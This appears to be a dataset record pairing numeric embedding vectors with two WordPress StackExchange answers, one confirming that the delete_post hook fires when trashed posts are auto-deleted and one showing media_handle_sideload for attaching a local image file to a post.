-0.049591064453125, 0.0174713134765625, 0.053314208984375, -0.002685546875, 0.000022530555725097656, 0.038726806640625, 0.0440673828125, -0.0128326416015625, 0.0091705322265625, -0.01219940185546875, -0.0027751922607421875, -0.01424407958984375, 0.0211944580078125, -0.034576416015625, 0.0170135498046875, 0.00013816356658935547, 0.034332275390625, 0.0035762786865234375, 0.00771331787109375, 0.0019369125366210938, 0.0006871223449707031, -0.0151519775390625, 0.05108642578125, 0.04534912109375, -0.0204315185546875, 0.017608642578125, -0.005687713623046875, 0.056488037109375, -0.028717041015625, -0.029449462890625, -0.0293121337890625, 0.03314208984375, -0.017852783203125, 0.037017822265625, 0.029541015625, 0.00817108154296875, 0.00643157958984375, 0.01151275634765625, -0.005931854248046875, -0.047882080078125, 0.000004231929779052734, 0.01258087158203125, 0.00356292724609375, -0.04486083984375, -0.036895751953125, 0.0214996337890625, -0.054962158203125, -0.00942230224609375, 0.053466796875, 0.086669921875, 0.09222412109375, -0.1343994140625, 0.031890869140625, 0.00656890869140625, -0.01654052734375, 0.060882568359375, 0.020904541015625, 0.007843017578125, -0.039459228515625, 0.0426025390625, -0.037109375, 0.013580322265625, 0.01450347900390625, -0.033111572265625, 0.00868988037109375, -0.005962371826171875, 0.05645751953125, 0.0119171142578125, -0.014434814453125, -0.0306396484375, 0.0033512115478515625, 0.005474090576171875, -0.024566650390625, -0.0182647705078125, 0.01910400390625, -0.0233306884765625, -0.0831298828125, -0.0002491474151611328, -0.060760498046875, -0.00965118408203125, 0.0076141357421875, -0.007228851318359375, 0.0038433074951171875, 0.049285888671875, -0.035430908203125, -0.0012769699096679688, 0.031585693359375, -0.0294189453125, -0.02642822265625, -0.00963592529296875, 0.017059326171875, 0.10546875, -0.044952392578125, 0.039276123046875, -0.013671875, 0.0231170654296875, -0.006488800048828125, -0.040740966796875, 0.0184783935546875, -0.0223236083984375, 0.0031299591064453125, 0.044586181640625, -0.0029449462890625, -0.0228729248046875, -0.0104217529296875, -0.0181121826171875, -0.02166748046875, 0.026641845703125, -0.031768798828125, -0.00432586669921875, 0.0109710693359375, -0.039306640625, -0.058929443359375, 0.040557861328125, 0.01009368896484375, 0.007434844970703125, 0.0029392242431640625, 0.017364501953125, -0.0347900390625, -0.0178680419921875, -0.036376953125, 0.03155517578125, 0.023681640625, 0.039459228515625, -0.0615234375, -0.012176513671875, 0.0122833251953125, 0.03411865234375, -0.0155487060546875, -0.01016998291015625, -0.00200653076171875, 0.005828857421875, 0.046539306640625, 0.046142578125, 0.032989501953125, 0.01605224609375, 0.0014286041259765625, 0.04034423828125, 0.0718994140625, -0.036468505859375, 0.037811279296875, 0.01136016845703125, -0.001720428466796875, 0.027496337890625, 0.00737762451171875, 0.01506805419921875, 0.00658416748046875, -0.01102447509765625, 0.01308441162109375, -0.01058197021484375, 0.00786590576171875, -0.07916259765625, 0.056488037109375, 0.054290771484375, 0.08203125, -0.029327392578125, 0.0711669921875, -0.0484619140625, 0.0732421875, -0.0257110595703125, 0.0242767333984375, 0.02203369140625, 0.02484130859375, 0.0165863037109375, -0.0305023193359375, 0.01010894775390625, 0.0203094482421875, -0.047454833984375, 0.07305908203125, 0.0014677047729492188, 0.049041748046875, -0.05181884765625, -0.0465087890625, -0.004611968994140625, 0.08514404296875, -0.0249786376953125, -0.033599853515625, 0.01026153564453125, 0.0146484375, 0.01788330078125, 0.00450897216796875, 0.060028076171875, -0.0021114349365234375, -0.0008091926574707031, 0.01447296142578125, -0.02001953125, 0.021728515625, 0.00908660888671875, 0.0201263427734375, 0.052490234375, -0.006259918212890625, -0.02520751953125, -0.05035400390625, 0.0081787109375, 0.0462646484375, 0.042266845703125, 0.0167083740234375, 0.0435791015625, 0.052581787109375, -0.018798828125, 0.0198974609375, -0.04168701171875, -0.00937652587890625, -0.0284576416015625, 0.0263519287109375, 0.00994110107421875, -0.01444244384765625, 0.016357421875, 0.00040531158447265625, 0.00020074844360351562, 0.00494384765625, 0.005962371826171875, -0.03240966796875, -0.0033588409423828125, 0.0247039794921875, -0.0264892578125, 0.0144805908203125, -0.0283966064453125, 0.038818359375, 0.040313720703125, 0.005168914794921875, 0.0004088878631591797, -0.00824737548828125, 0.08477783203125, -0.00042366981506347656, 0.060791015625, -0.0025730133056640625, 0.0157928466796875, 0.0169677734375, -0.03826904296875, 0.020050048828125, 0.012054443359375, -0.046661376953125, -0.004184722900390625, 0.034393310546875, -0.06500244140625, -0.01018524169921875, 0.02276611328125, -0.03570556640625, 0.020751953125, -0.0364990234375, -0.031494140625, -0.003643035888671875, 0.01763916015625, -0.0110931396484375, -0.0018930435180664062, 0.00881195068359375, -0.036529541015625, -0.003017425537109375, -0.023529052734375, 0.00287628173828125, 0.0428466796875, 0.031829833984375, 0.043243408203125, -0.015777587890625, 0.03131103515625, -0.01385498046875, -0.041107177734375, 0.0296783447265625, -0.004302978515625, 0.0252227783203125, 0.0216064453125, -0.0216522216796875, -0.0299835205078125, -0.0309906005859375, 0.03216552734375, 0.007289886474609375, 0.0167083740234375, 0.02899169921875, -0.055023193359375, 0.0134124755859375, 0.026885986328125, -0.01276397705078125, -0.0316162109375, -0.0296173095703125, -0.024322509765625, -0.0012006759643554688, 0.023406982421875, 0.0073089599609375, -0.006801605224609375, 0.07318115234375, 0.023101806640625, 0.00905609130859375, 0.032257080078125, -0.05950927734375, 0.045928955078125, 0.019744873046875, -0.0017671585083007812, 0.0170440673828125, 0.005588531494140625, -0.0205078125, -0.002536773681640625, 0.0290679931640625, -0.02191162109375, 0.02410888671875, -0.00504302978515625, -0.0125732421875, 0.033172607421875, 0.040313720703125, -0.0181121826171875, 0.0280303955078125, 0.0006704330444335938, 0.0009737014770507812, 0.04168701171875, 0.04815673828125, 0.00826263427734375, -0.010345458984375, -0.04150390625, -0.016754150390625, -0.01461029052734375, 0.00913238525390625, 0.034423828125, -0.07684326171875, 0.01800537109375, -0.0235137939453125, 0.045013427734375, -0.0269012451171875, -0.0117340087890625, -0.06414794921875, -0.026763916015625, -0.054901123046875, 0.006099700927734375, 0.00047469139099121094, -0.03253173828125, -0.026031494140625, -0.05340576171875, -0.0180511474609375, -0.051177978515625, 0.037322998046875, 0.042388916015625, -0.031982421875, -0.003940582275390625, 0.0416259765625, 0.03179931640625, 0.08343505859375, 0.0239715576171875, 0.0019464492797851562, 0.005825042724609375, 0.004642486572265625, -0.029296875, -0.09857177734375, 0.0197601318359375, -0.09771728515625, -0.019500732421875, -0.001880645751953125, -0.00556182861328125, 0.003833770751953125, -0.048614501953125, -0.10247802734375, 0.018096923828125, -0.01300811767578125, -0.054107666015625, -0.00843048095703125, -0.03240966796875, -0.00794219970703125, 0.005718231201171875, -0.008148193359375, 0.006748199462890625, -0.038848876953125, 0.040283203125, -0.0035228729248046875, 0.029296875, 0.016693115234375, -0.00444793701171875, -0.0119476318359375, 0.00928497314453125, -0.0038604736328125, -0.0213470458984375, -0.00847625732421875, -0.006320953369140625, 0.0163726806640625, 0.033599853515625, -0.034332275390625, -0.05780029296875, -0.0167694091796875, -0.00862884521484375, -0.01355743408203125, -0.00899505615234375, -0.015045166015625, -0.0109710693359375, 0.00792694091796875, 0.06689453125, -0.00901031494140625, -0.047637939453125, 0.040435791015625, 0.01715087890625, -0.01425933837890625, -0.0027637481689453125, 0.022064208984375, -0.0445556640625, -0.03851318359375, 0.0012559890747070312, 0.01629638671875, -0.00543212890625, -0.05963134765625, -0.00421905517578125, -0.0132293701171875, -0.020263671875, -0.0005173683166503906, 0.05413818359375, 0.006290435791015625, 0.007175445556640625, -0.007358551025390625, 0.0088958740234375, 0.00849151611328125, -0.004833221435546875, 0.00553131103515625, 0.023345947265625, 0.0117340087890625, -0.044830322265625, 0.0308074951171875, 0.035858154296875, 0.0244903564453125, -0.0242462158203125, 0.01006317138671875, -0.04052734375, 0.03131103515625, 0.0132293701171875, -0.004337310791015625, 0.04071044921875, -0.006198883056640625, 0.010986328125, -0.038482666015625, -0.02044677734375, -0.031280517578125, -0.0147705078125, -0.04083251953125, 0.04156494140625, -0.0146636962890625, -0.0035076141357421875, 0.00925445556640625, -0.00988006591796875, 0.0037174224853515625, -0.009185791015625, -0.0013942718505859375, -0.034912109375, -0.01145172119140625, -0.0220184326171875, -0.00904083251953125, 0.005588531494140625 ]
7ea29eed6a2588b1b7b3162d4857bedb2574e106
Wordpress Stackexchange Q: Does WP fire delete_post when trashed posts are automatically deleted? I have a custom db table that stores additional post data and I need to delete posts from my custom table when the original post is deleted. Will WP fire the delete_post action below and run my_function when WP "automatically" deletes posts that have been trashed? add_action( 'delete_post', 'my_function'); I can set up an option to manually purge my custom table if needed but I would prefer it to happen automatically. A: Short answer Yes, it does ;) Long answer The function that is used to empty the trash/remove trashed posts is called wp_scheduled_delete. When you'll take a look at it's code, you'll see, that it uses wp_delete_post to delete the posts and inside wp_delete_post the action delete_post is run as you can see here.
Q: Does WP fire delete_post when trashed posts are automatically deleted? I have a custom db table that stores additional post data and I need to delete posts from my custom table when the original post is deleted. Will WP fire the delete_post action below and run my_function when WP "automatically" deletes posts that have been trashed? add_action( 'delete_post', 'my_function'); I can set up an option to manually purge my custom table if needed but I would prefer it to happen automatically. A: Short answer Yes, it does ;) Long answer The function that is used to empty the trash/remove trashed posts is called wp_scheduled_delete. When you'll take a look at it's code, you'll see, that it uses wp_delete_post to delete the posts and inside wp_delete_post the action delete_post is run as you can see here.
wordpress
{ "language": "en", "length": 136, "provenance": "stackexchange_00019.jsonl.gz:486548", "question_score": "4", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/304844" }
[ 0.042755126953125, 0.034027099609375, -0.02459716796875, -0.01276397705078125, 0.036529541015625, -0.036529541015625, 0.05120849609375, -0.038787841796875, 0.0211334228515625, 0.0253448486328125, -0.040435791015625, -0.005199432373046875, 0.034393310546875, -0.0142669677734375, -0.01073455810546875, -0.0214385986328125, 0.0628662109375, -0.020538330078125, 0.07171630859375, -0.0037097930908203125, 0.00007426738739013672, 0.03802490234375, 0.07891845703125, 0.0170135498046875, 0.004474639892578125, 0.024871826171875, 0.04150390625, -0.0256805419921875, -0.0042266845703125, -0.0120697021484375, 0.0184478759765625, -0.00034165382385253906, -0.02874755859375, 0.047698974609375, 0.0124053955078125, 0.028656005859375, 0.0084228515625, 0.0280303955078125, 0.039581298828125, 0.005550384521484375, 0.018218994140625, -0.006008148193359375, 0.01319122314453125, -0.019287109375, 0.0010309219360351562, -0.022125244140625, 0.030792236328125, -0.0345458984375, 0.03472900390625, 0.00974273681640625, 0.004680633544921875, 0.0224151611328125, 0.019775390625, -0.0364990234375, -0.0244903564453125, -0.0214080810546875, -0.0227508544921875, 0.037017822265625, 0.05755615234375, 0.00103759765625, -0.0391845703125, -0.023468017578125, 0.007068634033203125, -0.056121826171875, -0.02020263671875, 0.01213836669921875, 0.0236358642578125, -0.0017156600952148438, -0.047882080078125, -0.029632568359375, 0.034393310546875, -0.0215301513671875, -0.018798828125, 0.0257568359375, 0.01056671142578125, -0.05145263671875, 0.0355224609375, -0.01416778564453125, -0.0164337158203125, 0.055877685546875, 0.00323486328125, 0.0241851806640625, -0.0219573974609375, -0.00970458984375, -0.023193359375, -0.00963592529296875, -0.0238189697265625, -0.00525665283203125, -0.027587890625, -0.06488037109375, -0.024749755859375, -0.053955078125, -0.03338623046875, -0.0240325927734375, -0.030548095703125, -0.037353515625, 0.0204010009765625, 0.06939697265625, -0.03314208984375, -0.0013885498046875, -0.0257568359375, -0.0235595703125, -0.0031681060791015625, -0.04193115234375, -0.004634857177734375, 0.006805419921875, -0.0016088485717773438, -0.0245819091796875, -0.00974273681640625, 0.033111572265625, -0.016815185546875, -0.044097900390625, 0.023040771484375, -0.01448822021484375, -0.01209259033203125, -0.003002166748046875, -0.01788330078125, 0.00923919677734375, -0.00974273681640625, -0.00943756103515625, -0.014495849609375, 0.0117034912109375, -0.033966064453125, -0.0095367431640625, 0.021820068359375, 0.0062713623046875, -0.004840850830078125, 0.004100799560546875, 0.0286407470703125, 0.0039520263671875, -0.05035400390625, 0.027313232421875, 0.0712890625, -0.00469207763671875, 0.00835418701171875, -0.01435089111328125, 0.0222320556640625, -0.0188446044921875, 0.0127716064453125, -0.0233612060546875, 0.06121826171875, -0.0330810546875, -0.044525146484375, 0.0413818359375, 0.028778076171875, 0.0521240234375, 0.023529052734375, -0.021942138671875, -0.00896453857421875, -0.033355712890625, -0.0206146240234375, 0.0125579833984375, 0.023681640625, 0.01806640625, 0.055572509765625, -0.03826904296875, 0.06451416015625, -0.04791259765625, 0.0150146484375, -0.039031982421875, 0.01410675048828125, -0.005710601806640625, -0.001827239990234375, -0.01410675048828125, -0.060272216796875, 0.015777587890625, -0.042022705078125, -0.0235748291015625, 0.04022216796875, -0.0084075927734375, 0.00321197509765625, -0.0280914306640625, 0.038787841796875, 0.0214691162109375, -0.0025768280029296875, 0.0343017578125, 0.0150909423828125, -0.0262908935546875, 0.03485107421875, 0.040802001953125, -0.025054931640625, -0.018798828125, 0.042449951171875, -0.02081298828125, -0.02239990234375, -0.035003662109375, 0.02838134765625, 0.07415771484375, 0.00632476806640625, 0.05108642578125, -0.01107025146484375, -0.02825927734375, -0.0217742919921875, 0.0267791748046875, 0.02410888671875, -0.066650390625, -0.0030841827392578125, -0.0615234375, 0.0076751708984375, 0.0067291259765625, 0.0181427001953125, -0.004058837890625, 0.0010662078857421875, -0.0040435791015625, -0.110107421875, 0.03106689453125, -0.048248291015625, 0.051666259765625, -0.0061492919921875, 0.01432037353515625, 0.021331787109375, 0.00927734375, -0.0294036865234375, -0.00814056396484375, -0.022674560546875, -0.01025390625, -0.03314208984375, -0.0027828216552734375, -0.0216827392578125, 0.015655517578125, -0.0237579345703125, -0.01788330078125, -0.035064697265625, 0.0019426345825195312, 0.06451416015625, -0.046295166015625, 0.0005936622619628906, -0.05126953125, 0.041168212890625, -0.0222930908203125, -0.025787353515625, 0.06201171875, 0.035736083984375, 0.041656494140625, -0.0260009765625, -0.024658203125, -0.014434814453125, -0.08197021484375, -0.00211334228515625, 0.07159423828125, 0.0005083084106445312, 0.03289794921875, -0.0112152099609375, 0.052642822265625, 0.035003662109375, 0.0252838134765625, 0.019317626953125, 0.036163330078125, 0.009979248046875, 0.058837890625, -0.01080322265625, -0.01080322265625, -0.011474609375, -0.10418701171875, -0.0180206298828125, 0.044769287109375, 0.004856109619140625, -0.0252838134765625, 0.0002911090850830078, 0.004138946533203125, 0.017120361328125, -0.053314208984375, -0.048797607421875, -0.0156402587890625, 0.038909912109375, -0.044891357421875, 0.0276641845703125, 0.005222320556640625, -0.00559234619140625, -0.01824951171875, 0.0209197998046875, -0.034759521484375, -0.00908660888671875, 0.022064208984375, -0.0253448486328125, 0.00606536865234375, -0.0006670951843261719, -0.00223541259765625, -0.0156097412109375, -0.0069580078125, -0.0201568603515625, 0.02313232421875, -0.00046634674072265625, -0.012237548828125, -0.0100555419921875, -0.007015228271484375, 0.00893402099609375, -0.00777435302734375, -0.01534271240234375, -0.04412841796875, -0.007717132568359375, 0.03033447265625, -0.032196044921875, 0.037353515625, 0.01064300537109375, -0.0223388671875, -0.01230621337890625, -0.0222320556640625, 0.022705078125, -0.0172119140625, 0.022003173828125, 0.0697021484375, 0.0092315673828125, 0.000301361083984375, 0.00423431396484375, 0.04180908203125, 0.0241546630859375, 0.007617950439453125, -0.0162811279296875, 0.002002716064453125, -0.058258056640625, -0.0250244140625, 0.03289794921875, 0.1072998046875, -0.0100860595703125, -0.03448486328125, 0.0179901123046875, 0.059051513671875, -0.0293731689453125, -0.080078125, 0.017181396484375, -0.00713348388671875, 0.0037841796875, -0.0265960693359375, 0.00826263427734375, -0.0322265625, -0.0112457275390625, -0.00665283203125, -0.04949951171875, 0.03302001953125, 0.0249481201171875, 0.01171875, -0.01253509521484375, 0.00033664703369140625, 0.0038852691650390625, 0.01079559326171875, 0.00942230224609375, 0.09063720703125, 0.00792694091796875, -0.09033203125, -0.0279083251953125, -0.0218353271484375, -0.0430908203125, 0.0276336669921875, 0.00960540771484375, 0.0012073516845703125, 0.0101470947265625, -0.000286102294921875, 0.0245208740234375, 0.03973388671875, -0.03839111328125, -0.015625, -0.034027099609375, -0.0183868408203125, 0.02606201171875, -0.0310211181640625, 0.01226043701171875, 0.0226287841796875, 0.0177154541015625, -0.0242767333984375, -0.014312744140625, -0.0247344970703125, -0.037109375, -0.006061553955078125, 0.004047393798828125, 0.01316070556640625, -0.01495361328125, 0.01221466064453125, 0.0219879150390625, 0.0204620361328125, 0.0118865966796875, 0.022796630859375, 0.01538848876953125, -0.0152740478515625, -0.01084136962890625, -0.031585693359375, 0.0173797607421875, -0.015350341796875, 0.026824951171875, 0.003986358642578125, 0.0086669921875, -0.01446533203125, 0.0010271072387695312, -0.04742431640625, 0.0026645660400390625, 0.0290985107421875, 0.005100250244140625, 0.0050811767578125, 0.0211334228515625, -0.0134429931640625, 0.01250457763671875, 0.047760009765625, -0.01409149169921875, -0.0357666015625, -0.0234222412109375, 0.0203857421875, 0.0029354095458984375, -0.053985595703125, 0.025665283203125, -0.027862548828125, -0.077880859375, 0.00983428955078125, -0.016876220703125, -0.005710601806640625, -0.054107666015625, 0.087158203125, -0.059112548828125, -0.0251617431640625, 0.0306243896484375, -0.1051025390625, 0.032379150390625, 0.00191497802734375, 0.01934814453125, -0.045166015625, 0.0025119781494140625, -0.08319091796875, -0.0565185546875, 0.009246826171875, -0.0433349609375, 0.01383209228515625, 0.032684326171875, -0.024658203125, 0.022247314453125, 0.0264434814453125, 0.03607177734375, 0.040313720703125, -0.0221710205078125, -0.033782958984375, -0.005641937255859375, -0.0038013458251953125, 0.00839996337890625, -0.0091094970703125, 0.003353118896484375, -0.0283203125, -0.01568603515625, 0.01495361328125, -0.035247802734375, 0.0413818359375, -0.0240936279296875, 0.00021636486053466797, -0.00855255126953125, -0.032379150390625, -0.0665283203125, -0.01493072509765625, -0.033721923828125, -0.01212310791015625, -0.04034423828125, -0.039947509765625, 0.055450439453125, 0.00408172607421875, 0.01451873779296875, -0.0031833648681640625, 0.06915283203125, -0.0016412734985351562, -0.0250091552734375, -0.027130126953125, 0.018096923828125, 0.0106658935546875, -0.01971435546875, 0.058135986328125, 0.018402099609375, 0.0036487579345703125, 0.0182037353515625, 0.0013113021850585938, -0.0294036865234375, -0.04217529296875, 0.061431884765625, -0.00905609130859375, 0.00943756103515625, -0.015228271484375, -0.062042236328125, 0.0794677734375, 0.06866455078125, 0.01177215576171875, -0.0098419189453125, 0.05706787109375, 0.035400390625, -0.058563232421875, -0.01532745361328125, -0.034149169921875, -0.00757598876953125, 0.00035881996154785156, -0.0003941059112548828, 0.0203094482421875, 0.01611328125, 0.0007405281066894531, 0.00817108154296875, 0.018310546875, 0.01155853271484375, -0.032806396484375, 0.003887176513671875, -0.006999969482421875, 0.0377197265625, 0.00531005859375, 0.029083251953125, -0.0293731689453125, -0.0068206787109375, 0.055511474609375, -0.0029048919677734375, -0.042877197265625, -0.0232391357421875, -0.0219573974609375, 0.039642333984375, 0.005321502685546875, -0.022125244140625, 0.023590087890625, 0.04620361328125, -0.0208282470703125, 0.008392333984375, 0.01702880859375, 0.0198974609375, -0.028961181640625, -0.003040313720703125, 0.0223846435546875, -0.019317626953125, 0.031494140625, 0.0258026123046875, 0.0142059326171875, 0.0240478515625, -0.019287109375, 0.059600830078125, 0.0017147064208984375, 0.05718994140625, 0.022979736328125, -0.017120361328125, -0.0003237724304199219, 0.01500701904296875, -0.05230712890625, -0.045257568359375, -0.0458984375, 0.01506805419921875, 0.0615234375, -0.0055694580078125, 0.009429931640625, -0.002063751220703125, 0.005023956298828125, -0.0275726318359375, 0.042724609375, 0.03082275390625, -0.02960205078125, -0.018951416015625, 0.0245361328125, 0.03424072265625, 0.026275634765625, -0.0232391357421875, -0.0026645660400390625, -0.035675048828125, 0.034088134765625, -0.0140380859375, 0.0185546875, -0.005260467529296875, -0.0243988037109375, -0.007038116455078125, -0.046783447265625, -0.0307769775390625, 0.02020263671875, 0.0301055908203125, -0.02587890625, -0.0259246826171875, 0.03399658203125, 0.010162353515625, 0.00235748291015625, -0.028656005859375, -0.0069122314453125, 0.032012939453125, 0.0009608268737792969, 0.04327392578125, -0.0171661376953125, -0.041290283203125, -0.016815185546875, -0.006252288818359375, -0.032196044921875, -0.0220489501953125, -0.00917816162109375, -0.06622314453125, 0.016265869140625, -0.00402069091796875, 0.00344085693359375, 0.0037689208984375, -0.00472259521484375, -0.0251922607421875, 0.0247955322265625, 0.0279693603515625, 0.003482818603515625, -0.0222320556640625, 0.0496826171875, 0.0016756057739257812, 0.038177490234375, 0.0134735107421875, 0.0225982666015625, 0.015869140625, -0.0265350341796875, 0.0149078369140625, -0.053619384765625, -0.01543426513671875, -0.00771331787109375, -0.01016998291015625, -0.00936126708984375, -0.019287109375, -0.008880615234375, 0.00632476806640625, -0.023223876953125, -0.0162353515625, -0.033782958984375, 0.053466796875, -0.017120361328125, 0.05487060546875, -0.0399169921875, -0.029541015625, -0.0192108154296875, 0.01190948486328125, 0.0267181396484375, -0.003326416015625, -0.025390625, -0.0176544189453125, 0.01409149169921875, -0.0242462158203125, 0.06878662109375, 0.08038330078125, -0.006595611572265625, 0.02056884765625, 0.022918701171875, -0.017730712890625, -0.01305389404296875, -0.0103912353515625, 0.00743865966796875, -0.0266876220703125, 0.0179290771484375, -0.006084442138671875, -0.0021533966064453125, 0.015289306640625, -0.0115966796875, 0.0224151611328125, 0.054046630859375, 0.066650390625, -0.06781005859375, 0.0020904541015625, 0.0183258056640625, -0.04840087890625, 0.01158905029296875, -0.0038814544677734375, 0.01824951171875, 0.029083251953125, 0.0178375244140625, 0.01319122314453125, -0.00904083251953125, 0.0243377685546875, 0.012420654296875, 0.004863739013671875, -0.0009608268737792969, 0.038818359375, 0.0034389495849609375, -0.04864501953125, 0.0158843994140625, 0.0260009765625, 0.0130615234375, -0.041839599609375, 0.0126495361328125, -0.004322052001953125, -0.004871368408203125, -0.0577392578125, 0.02899169921875, 0.007411956787109375, 0.01104736328125, 0.01035308837890625, 0.0111083984375, 0.003894805908203125, 0.047119140625, -0.0167083740234375, 0.0289306640625, 0.004917144775390625, -0.0118408203125, -0.0926513671875, -0.052398681640625, 0.04681396484375, 0.06341552734375, -0.06829833984375, 0.059600830078125, -0.0022487640380859375, -0.056549072265625, 0.0012540817260742188, -0.0235595703125, 0.058013916015625, -0.036529541015625, -0.0022182464599609375, 0.0289154052734375, 0.01812744140625, -0.015045166015625, -0.025360107421875, 0.006580352783203125, -0.053436279296875, -0.0285186767578125, -0.014892578125, -0.0234527587890625, -0.0027904510498046875, -0.032379150390625, -0.0455322265625, 0.0682373046875, 0.03228759765625, -0.005023956298828125, -0.0242156982421875, 0.04315185546875, -0.01123809814453125, 0.041046142578125, -0.03875732421875, 0.06170654296875, -0.0159912109375, 0.0035495758056640625, -0.054840087890625, 0.0187225341796875, -0.0194091796875, -0.018096923828125, 0.01739501953125, -0.0005698204040527344, 0.01107025146484375, -0.025054931640625, 0.0028591156005859375, 0.033172607421875, -0.0037975311279296875, 0.0004620552062988281, 0.004390716552734375, 0.06549072265625, 0.032012939453125, -0.04803466796875, 0.0247955322265625, -0.012420654296875, -0.030029296875, 0.033233642578125, 0.002033233642578125, -0.003284454345703125, 0.004703521728515625, 0.0019426345825195312, 0.00438690185546875, -0.0042266845703125, -0.012939453125, -0.00402069091796875, 0.01012420654296875, 0.05279541015625, 0.08172607421875, -0.09136962890625, -0.0684814453125, -0.0297393798828125, 0.0491943359375, 0.024627685546875, 0.0026397705078125, 0.05572509765625, 0.0190277099609375, -0.01264190673828125, 0.0137176513671875, 0.01361083984375, -0.005603790283203125, -0.00765228271484375, 0.0732421875, 0.0435791015625, 0.0391845703125, -0.0140533447265625, -0.00424957275390625, 0.01432037353515625, 0.080078125, -0.0321044921875, -0.04315185546875, 0.02020263671875, -0.0125732421875, -0.00921630859375, -0.0040130615234375, -0.0129547119140625, -0.0357666015625, 0.002674102783203125, -0.02532958984375, -0.01165008544921875, 0.01457977294921875, 0.0087432861328125, 0.00632476806640625, 0.03369140625, -0.0135650634765625, -0.0246429443359375, -0.006908416748046875, 0.001422882080078125, 0.01433563232421875, 0.023193359375, -0.015106201171875, 0.04638671875, -0.00939178466796875, 0.010009765625, -0.0023975372314453125, 0.024871826171875, -0.0265045166015625, 0.01079559326171875, -0.03546142578125, -0.07806396484375, 0.01235198974609375, 0.0523681640625, 0.0015192031860351562, -0.0079193115234375, 0.055328369140625, 0.0205078125, -0.0673828125, -0.033721923828125, 0.0024814605712890625, -0.0372314453125, -0.003204345703125, -0.01806640625, -0.043548583984375, -0.016510009765625, -0.0305023193359375, 0.0004532337188720703, 0.011932373046875, -0.0287933349609375, -0.0396728515625, 0.0255279541015625, -0.01177215576171875, -0.005889892578125, 0.03985595703125, -0.031585693359375, 0.010650634765625, -0.0163116455078125, -0.0174560546875, 0.0034465789794921875, -0.0494384765625, -0.0257415771484375, 0.00209808349609375, 0.02508544921875, 0.021026611328125, 0.004367828369140625, -0.00235748291015625, -0.0110626220703125, 0.00862884521484375, 0.00131988525390625, -0.00792694091796875, -0.005550384521484375, 0.030181884765625, -0.0006256103515625, 0.0150909423828125, -0.016693115234375, 0.026641845703125, 0.03668212890625, -0.02667236328125, 0.06689453125, -0.037353515625, 0.00196075439453125, -0.00026106834411621094, 0.047760009765625, -0.045379638671875, -0.0036525726318359375, 0.014312744140625, -0.029510498046875, -0.0011272430419921875, 0.0028553009033203125, -0.061248779296875, 0.00994110107421875, 0.0244903564453125, -0.00785064697265625, 0.0289306640625, -0.03704833984375, 0.01207733154296875, -0.01398468017578125, 0.03619384765625, -0.011749267578125, 0.02154541015625, -0.006561279296875, -0.034210205078125, 0.04656982421875, 0.01113128662109375, 0.0125274658203125, 0.021148681640625, -0.0213775634765625, -0.0181884765625, 0.037139892578125, -0.05743408203125, 0.042236328125, 0.027435302734375, -0.036590576171875, -0.0158538818359375, -0.0086822509765625, -0.007564544677734375, -0.0239105224609375, 0.024383544921875, -0.033355712890625, 0.0338134765625, -0.0245819091796875, -0.0670166015625, -0.043914794921875, 0.0192413330078125, 0.0134124755859375, 0.01226043701171875, -0.0906982421875, 0.015960693359375, 0.0114593505859375, 0.03497314453125, -0.01558685302734375, -0.0088348388671875, -0.04022216796875, -0.02203369140625, -0.0322265625, -0.079833984375, -0.052337646484375, 0.00047850608825683594, 0.0217437744140625, 0.04046630859375, -0.09490966796875, 0.06536865234375, 0.0092620849609375, 0.0026531219482421875, 0.01235198974609375, -0.018829345703125, -0.01479339599609375, -0.0180511474609375, -0.020782470703125, -0.049652099609375, -0.04718017578125, 0.0537109375, -0.029876708984375, 0.003570556640625, -0.0016927719116210938, -0.0207672119140625, -0.0118255615234375, 0.0010528564453125, 0.0085296630859375, 0.04071044921875, 0.04595947265625, -0.012451171875, 0.0374755859375, 0.00799560546875, 0.0011615753173828125, -0.052093505859375, -0.018768310546875, -0.0006327629089355469, 0.026611328125, 0.001819610595703125, 0.019134521484375, 0.047149658203125, -0.0162506103515625, -0.0404052734375, 0.03680419921875, -0.0064239501953125, -0.0341796875, -0.0199737548828125, 0.01641845703125, 0.005126953125, -0.0311737060546875, -0.0005240440368652344, -0.0223846435546875, -0.01457977294921875, 0.005657196044921875, -0.005153656005859375, 0.04168701171875, -0.00992584228515625, 0.007732391357421875, -0.026763916015625, 0.01824951171875, 0.0083770751953125, 0.006855010986328125, 0.0202178955078125, -0.0194091796875, 0.041595458984375, 0.0509033203125, -0.031341552734375, 0.0161590576171875, -0.004730224609375, -0.0024051666259765625, -0.00812530517578125, -0.01141357421875, -0.0224151611328125, -0.0274505615234375, 0.0654296875, 0.034393310546875, 0.01490020751953125, -0.018951416015625, -0.0153656005859375, -0.040557861328125, -0.010589599609375, -0.006305694580078125, 0.0086212158203125, -0.03118896484375, 0.0170440673828125, 0.0128936767578125, -0.009674072265625, -0.0234375, -0.048126220703125, -0.0340576171875, -0.006160736083984375, -0.027069091796875, 0.006366729736328125, 0.026458740234375, 0.01251220703125, 0.0301971435546875, -0.0248260498046875, -0.01824951171875, 0.0087127685546875, -0.00015854835510253906, 0.004364013671875, 0.020843505859375, 0.005695343017578125, 0.047027587890625, -0.054046630859375, -0.0258026123046875, 0.01491546630859375, 0.0067138671875, -0.0088653564453125, -0.0012426376342773438, 0.0111236572265625, 0.03411865234375, -0.01947021484375, 0.045928955078125, 0.008758544921875, 0.048980712890625, -0.005462646484375, 0.03631591796875, 0.0183563232421875, 0.02154541015625, 0.01190185546875, 0.034942626953125, -0.0025043487548828125, -0.0406494140625, 0.0288543701171875, -0.06573486328125, -0.007404327392578125, 0.004245758056640625, -0.000026106834411621094, -0.06903076171875, 0.0579833984375, 0.043792724609375, 0.026763916015625, 0.0360107421875 ]
b99232511348b9db9cc0838dc075e0ef21b251a8
Wordpress Stackexchange Q: media_handle_upload for local files? I am creating an image on the server and storing it in a tmp folder. I would like to run a php file that takes this image, stores it in the default media directory structure and attaches it to a post while creating appropriate thumbnails. media_handle_upload seems to require an upload POST request to work with. Is it possible to make it work on a local image in a non-POST context? Thanks. A: You want media_handle_sideload() Handles a side-loaded file in the same way as an uploaded file is handled by media_handle_upload(). // Array similar to a $_FILES upload array. $file_array = array( 'name' => 'filename.jpg', 'tmp_name' => 'path/to/filename.jpg', ); // Post ID to attach upload to, 0 for none. $post_id = 0; $attachment_id = media_handle_sideload( $file_array, $post_id );
